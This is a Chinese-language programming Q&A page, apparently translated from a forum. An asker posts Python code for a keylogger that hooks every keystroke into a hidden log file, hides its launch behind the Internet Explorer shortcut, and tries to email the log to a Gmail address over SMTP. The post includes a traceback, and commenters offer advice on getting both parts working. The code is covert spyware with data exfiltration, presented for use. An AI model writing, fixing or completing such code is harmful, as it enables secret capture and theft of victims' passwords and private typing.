使用python在邮件中发送电子邮件附件

使用python在邮件中发送电子邮件附件,python,smtp,email-attachments,keylogger,Python,Smtp,Email Attachments,Keylogger,我制作了一个简单的键盘记录器,它将击键记录在名为“log.txt”的文件中。然后我想通过在python中使用smtp附加此文件来发送电子邮件,但无法执行此操作。键盘记录器工作正常,但电子邮件未发送。对于键盘记录器,我将文件launch.bat的路径附加到IEXPLORE属性,为什么它不工作 我的代码: import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText

我制作了一个简单的键盘记录器,它将击键记录在名为“log.txt”的文件中。然后我想通过在python中使用smtp附加此文件来发送电子邮件,但无法执行此操作。键盘记录器工作正常,但电子邮件未发送。对于键盘记录器,我将文件launch.bat的路径附加到IEXPLORE属性,为什么它不工作

我的代码:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
import os
import email
import email.encoders
import email.mime.text
import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

sender = 'abc@gmail.com'
receiver = ['xyz@gmail.com']
message = """From: From Shubha Goel <abc@gmail.com>
To: To  Pooja Gupta<xyz@gmail.com>
Subject: SMTP e-mail test

This is a test e-mail message.
"""
file_name = 'C:\\important\\log.txt'
#msg = MIMEMultipart()
msg=email.MIMEMultipart.MIMEMultipart('mixed')
msg['From'] = sender
msg['To'] = receiver
msg['Subject'] = message
msg['Date'] = email.Utils.formatdate(localtime=True)

# build the attachment
att = email.MIMEBase.MIMEBase('application', 'base64')
att.set_payload(open(file_name, 'rb').read())
email.Encoders.encode_base64(att)
att.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file_name))
msg.attach(att)
print 'successfully built attachment'
try:
    session = smtplib.SMTP('smtp.gmail.com',587)
    print 'Starting..'
    session.ehlo()
    print 'ehlo executed..'
    session.starttls()
    print 'starttls done'

    session.login(sender,password)
    print 'logged in'
    session.sendmail(sender,receiver,msg.as_string())
    print 'sendmail executed..now quitting'


except smtplib.SMTPRecipientsRefused:
    print 'Recipient refused'
except smtplib.SMTPAuthenticationError:
    print 'Auth error'
except smtplib.SMTPSenderRefused:
    print 'Sender refused'
except smtplib.SMTPException:
    print('Error')
请帮忙。我是新的smtp和键盘记录器

堆栈跟踪:

Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    execfile('C:\important\secret_file.pyw')
  File "C:\important\secret_file.pyw", line 44, in <module>
    session.sendmail(sender,receiver,msg.as_string())
  File "C:\Python27\lib\email\message.py", line 137, in as_string
    g.flatten(self, unixfrom=unixfrom)
  File "C:\Python27\lib\email\generator.py", line 83, in flatten
    self._write(msg)
  File "C:\Python27\lib\email\generator.py", line 115, in _write
    self._write_headers(msg)
  File "C:\Python27\lib\email\generator.py", line 164, in _write_headers
    v, maxlinelen=self._maxheaderlen, header_name=h).encode()
  File "C:\Python27\lib\email\header.py", line 410, in encode
    value = self._encode_chunks(newchunks, maxlinelen)
  File "C:\Python27\lib\email\header.py", line 370, in _encode_chunks
    _max_append(chunks, s, maxlinelen, extra)
  File "C:\Python27\lib\email\quoprimime.py", line 97, in _max_append
    L.append(s.lstrip())
AttributeError: 'list' object has no attribute 'lstrip  

请说明您在执行代码时遇到的错误/回溯。@pss:在运行此脚本时。。它不会停止执行,也不会打印任何内容请有人帮帮我。。你可以尝试使用分而治之的策略。尝试在代码中使用print语句,看看哪里出了问题,或者执行到了无穷大。分离键盘记录器部分和电子邮件部分。首先验证键盘记录器部件是否工作正常。然后尝试验证电子邮件部分的代码段是否正常工作。当两个脚本都正常工作时。只要把它们结合起来。我现在无法测试您的代码,不幸的是,python在周末之后突然从我的系统中消失了。也许他饿了,正在找吃的p对于代码中的实例,您有一个打印“成功构建附件”。如果输出中没有显示,那么很明显,该控件从未到达此处,并且该语句上方的某些内容会耗尽执行: